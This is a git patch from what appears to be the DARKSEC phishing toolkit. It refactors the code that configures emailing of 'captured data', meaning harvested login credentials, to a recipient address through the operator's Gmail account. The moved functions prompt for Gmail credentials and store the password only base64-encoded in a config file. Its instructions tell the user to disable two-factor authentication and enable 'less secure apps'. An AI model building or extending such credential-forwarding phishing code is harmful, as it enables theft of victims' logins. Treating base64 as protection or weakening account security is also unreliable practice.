From c596b4c5d1beb426d91890bc43fe52bb07b5929c Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Wed, 6 May 2020 16:21:18 +0300 Subject: [PATCH] Moved Email prompt methods to EmailManager --- Defs/ActionManager/Actions.py | 86 +------------------ Defs/EmailManager/email_prompt.py | 76 ++++++++++++++-- .../unsorted_will_be_replaced.py | 3 +- 3 files changed, 74 insertions(+), 91 deletions(-) diff --git a/Defs/ActionManager/Actions.py b/Defs/ActionManager/Actions.py index 11f7fa0..2211c31 100644 --- a/Defs/ActionManager/Actions.py +++ b/Defs/ActionManager/Actions.py @@ -32,91 +32,7 @@ from Defs.Languages import * - -def emailPrompt(): - system('clear') - print('''{1} - _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} - |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} - | | | ]__| ]__| |__ | \| {0}|__ || |__{1} - {1}http://github.com/darksecdevelopers - {0}** BY: {1}DARKSEC {0}** -'''.format(MAIN0, MAIN2)) - print( - "-------------------------------\n{0}[ PROMPT: NEED CAPTURED DATA TO EMAIL ? ]{1}!! {0}\n-------------------------------".format(MAIN0, MAIN4)) - addingEmail() - - -def addingEmail(): - print("\n{0}[{1}!{0}]{1}No Need To Configure, If you have Already Done. ".format( - MAIN0, MAIN4)) - print("\n{0}[{1}*{0}]{0}DO YOU WANT CAPTURED DATA TO BE EMAILED, THEN CREATE CONFIG FILE -{1}(Y/N)".format(MAIN0, MAIN4)) - choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format( - MAIN0, MAIN4, MAIN2)).upper() - if choice == 'Y': - print("\n{0}[{1}!{0}] BEFORE STARTING MAKE SURE THESE THINGS: \n\n{0}[{1}+{0}] {1}YOU HAVE CORRECT GMAIL USERNAME & PASSWORD\n{0}[{1}+{0}] {1}YOU HAVE DISABLED 2-FACTOR AUTHENTICATION FROM YOUR GMAIL ACCOUNT\n{0}[{1}+{0}] {1}YOU HAVE TURNED ON LESS SECURED APPS \n (https://myaccount.google.com/lesssecureapps) \n\n".format(MAIN0, MAIN4)) - input('[.] Press Enter To Start Configuring Gmail Credential File...') - emailPrompt2() - elif choice == 'N': - pass - else: - print('[^] ERROR: Please choose correct option to continue...') - sleep(1) - emailPrompt() - - -def emailPrompt2(): - system('clear') - print('''{1} - _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} - |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} - | | | ]__| ]__| |__ | \| {0}|__ || |__{1} - {1}http://github.com/darksecdevelopers - {0}** BY: {1}DARKSEC {0}** -'''.format(MAIN0, MAIN2)) - print( - "-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(MAIN0, MAIN4)) - emailConfig() - - -def emailConfig(): - system('cp Defs/Send_Email/EmailConfigDefault.py Defs/Send_Email/emailconfig.py') - GMAILACCOUNT = input( - "{0}[{1}+{0}]{0} Enter Your Gmail Username:{1} ".format(MAIN0, MAIN4)) - with open('Defs/Send_Email/emailconfig.py') as f: - read_data = f.read() - c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT) - f = open('Defs/Send_Email/emailconfig.py', 'w') - f.write(c) - f.close() - print("{0}[.] {1}Email Address Added To config File. !\n".format( - MAIN0, MAIN4)) - - GMAILPASSWORD = getpass.getpass( - "{0}[{1}+{0}]{0} Enter Your Gmail Password:{1} ".format(MAIN0, MAIN4)) - with open('Defs/Send_Email/emailconfig.py') as f: - read_data = f.read() - GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode()) - GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8')) - c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD) - f = open('Defs/Send_Email/emailconfig.py', 'w') - f.write(c) - f.close() - print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format( - MAIN0, MAIN4)) - RECIPIENTEMAIL = input( - "{0}[{1}+{0}]{0} Enter Recipient Email:{1} ".format(MAIN0, MAIN4)) - with open('Defs/Send_Email/emailconfig.py') as f: - read_data = f.read() - c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL) - f = open('Defs/Send_Email/emailconfig.py', 'w') - f.write(c) - f.close() - print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format( - MAIN0, MAIN4)) - print( - '\n\n{0}[{1}SUCCESS{0}]{0}: Created Config File & Saved To (Defs/Send_Email/Config.py)'.format(MAIN0, MAIN4)) - + def cloudflarePrompt(): diff --git a/Defs/EmailManager/email_prompt.py b/Defs/EmailManager/email_prompt.py index c830b5e..ac52626 100644 --- a/Defs/EmailManager/email_prompt.py +++ b/Defs/EmailManager/email_prompt.py @@ -1,8 +1,33 @@ from Defs.ThemeManager.theme import default_palette -from Defs.ImportManager.unsorted_will_be_replaced import path, system, wait +from Defs.ImportManager.unsorted_will_be_replaced import path, system, wait, run_command, getpass, base64 from Defs.ActionManager.informant import exit_message -def captured_data_email_request(port): # Ask user to start sending credentials to recipient Email Address. + +def captured_data_email_prompt(): + run_command('clear') + print('''{1} + _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} + |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} + | | | ]__| ]__| |__ | \| {0}|__ || |__{1} + {1}http://github.com/darksecdevelopers + {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) + print( + "-------------------------------\n{0}[ PROMPT: NEED CAPTURED DATA TO EMAIL ? ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4])) + print("\n{0}[{1}!{0}]{1}No Need To Configure, If you have Already Done. ".format(default_palette[0], default_palette[4])) + print("\n{0}[{1}*{0}]{0}DO YOU WANT CAPTURED DATA TO BE EMAILED, THEN CREATE CONFIG FILE -{1}(Y/N)".format(default_palette[0], default_palette[4])) + choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper() + if choice == 'Y': + print("\n{0}[{1}!{0}] BEFORE STARTING MAKE SURE THESE THINGS: \n\n{0}[{1}+{0}] {1}YOU HAVE CORRECT GMAIL USERNAME & PASSWORD\n{0}[{1}+{0}] {1}YOU HAVE DISABLED 2-FACTOR AUTHENTICATION FROM YOUR GMAIL ACCOUNT\n{0}[{1}+{0}] {1}YOU HAVE TURNED ON LESS SECURED APPS \n (https://myaccount.google.com/lesssecureapps) \n\n".format(default_palette[0], default_palette[4])) + input('[.] Press Enter To Start Configuring Gmail Credential File...') + captured_data_email_configuration_prompt() + elif choice == 'N': + pass + else: + print('[^] ERROR: Please choose correct option to continue...') + wait(1) + captured_data_email_prompt() + +def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address. choice = input( "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper() if choice == 'Y' or choice == 'y': @@ -17,8 +42,49 @@ def captured_data_email_request(port): # Ask user to start sending credentials exit_message(port) else: system('clear') - print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format( - default_palette[0], default_palette[4], default_palette[2])) + print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4], default_palette[2])) wait(1) system('clear') - return captured_data_email_request(port) \ No newline at end of file + return captured_data_email_confirmation(port) + + +def captured_data_email_configuration_prompt(): + run_command('clear') + print('''{1} + _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} + |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} + | | | ]__| ]__| |__ | \| {0}|__ || |__{1} + {1}http://github.com/darksecdevelopers + {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) + print("-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4])) + run_command('cp Defs/Send_Email/EmailConfigDefault.py Defs/Send_Email/emailconfig.py') + GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4])) + with open('Defs/Send_Email/emailconfig.py') as f: + read_data = f.read() + c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT) + f = open('Defs/Send_Email/emailconfig.py', 'w') + f.write(c) + f.close() + print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4])) + GMAILPASSWORD = getpass.getpass( + "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4])) + with open('Defs/Send_Email/emailconfig.py') as f: + read_data = f.read() + GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode()) + GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8')) + c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD) + f = open('Defs/Send_Email/emailconfig.py', 'w') + f.write(c) + f.close() + print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4])) + RECIPIENTEMAIL = input( + "{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4])) + with open('Defs/Send_Email/emailconfig.py') as f: + read_data = f.read() + c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL) + f = open('Defs/Send_Email/emailconfig.py', 'w') + f.write(c) + f.close() + print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], default_palette[4])) + print( + '\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/Send_Email/Config.py)'.format(default_palette[0], default_palette[4])) diff --git a/Defs/ImportManager/unsorted_will_be_replaced.py b/Defs/ImportManager/unsorted_will_be_replaced.py index 52c9772..b8b08d1 100644 --- a/Defs/ImportManager/unsorted_will_be_replaced.py +++ b/Defs/ImportManager/unsorted_will_be_replaced.py @@ -2,4 +2,5 @@ from subprocess import call as run_command, check_output, CalledProcessError from distutils.dir_util import copy_tree as webpage_set from time import sleep as wait from os import path, system -import re as regular_expression \ No newline at end of file +import re as regular_expression +import getpass, base64 \ No newline at end of file